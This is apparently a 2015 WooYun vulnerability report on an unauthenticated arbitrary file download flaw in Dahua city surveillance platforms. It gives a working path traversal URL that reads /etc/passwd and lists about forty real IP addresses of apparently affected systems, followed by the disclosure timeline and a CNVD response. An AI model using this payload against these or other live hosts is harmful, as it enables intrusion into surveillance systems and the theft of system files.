当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0117068

漏洞标题：大量大华城市安防监控系统平台管理存在任意文件遍历(无需登录)

相关厂商：浙江大华技术股份有限公司

漏洞作者： YY-2012

提交时间：2015-05-31 10:45

修复时间：2015-09-06 00:00

公开时间：2015-09-06 00:00

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-31： 细节已通知厂商并且等待厂商处理中
2015-06-04： 厂商已经确认，细节仅向厂商公开
2015-06-07： 细节向第三方安全合作伙伴开放
2015-07-29： 细节向核心白帽子及相关领域专家公开
2015-08-08： 细节向普通白帽子公开
2015-08-18： 细节向实习白帽子公开
2015-09-06： 细节向公众公开

简要描述：

附40个多案例。。

详细说明：

无需登录情况任意文件遍历下载：

http://url/portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd

漏洞证明：

aaaaaaaaaaaaa11111111111111111111.jpg


http://220.170.192.200/portal/login_init.action
http://113.240.225.171/portal/login_init.action
http://221.229.118.138/portal/login_init.action
http://222.86.157.66:8081/portal/login_init.action
http://110.86.31.197:8081/portal/login_init.action
http://60.214.149.170:8080/portal/login_init.action
http://58.67.144.58:8080/portal/login_init.action
http://61.144.72.214:8000/portal/login_init.action
http://122.224.110.234:88/portal/login_init.action
http://221.131.71.209:81/portal/login_init.action
http://60.214.154.14:81/portal/login_init.action
http://222.215.163.46:81/portal/login_init.action
http://218.75.41.66:81/portal/login_init.action
http://182.138.104.3:81/portal/login_init.action
http://111.47.32.193:81/portal/login_init.action
http://124.228.60.152:81/portal/login_init.action
http://61.160.80.58:81/portal/login_init.action
http://58.61.154.24:81/portal/login_init.action
http://124.65.116.182:81/portal/login_init.action
http://61.183.226.238:81/portal/login_init.action
http://218.5.9.67:81/portal/login_init.action
http://221.202.201.19:81/portal/login_init.action
http://61.167.106.20/portal/login_init.action
http://222.223.6.134:81/portal/login_init.action
http://60.6.206.54:88/portal/login_init.action
http://211.143.124.166:88/portal/login_init.action
http://60.8.251.190:88/portal/login_init.action
http://222.223.116.115:88/portal/login_init.action
http://219.139.43.9:81/portal/login_init.action
http://183.62.254.202:81/portal/login_init.action
http://121.9.226.122:81/portal/login_init.action
http://218.7.121.154/portal/login_init.action
http://58.17.241.57/portal/login_init.action
http://58.246.234.58/portal/login_init.action
http://202.98.205.173/portal/login_init.action
http://61.189.254.133/portal/login_init.action
http://61.189.254.149/portal/login_init.action
http://210.21.88.140/portal/login_init.action
http://61.189.254.139/portal/login_init.action
http://61.189.254.143/portal/login_init.action
http://61.189.254.146/portal/login_init.action

修复方案：

联系厂商

版权声明：转载请注明来源 YY-2012@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2015-06-04 14:50

厂商回复：

CNVD确认所述情况，已经转由CNCERT下发给浙江分中心，由其后续协调网站管理单位处置。

最新状态：

暂无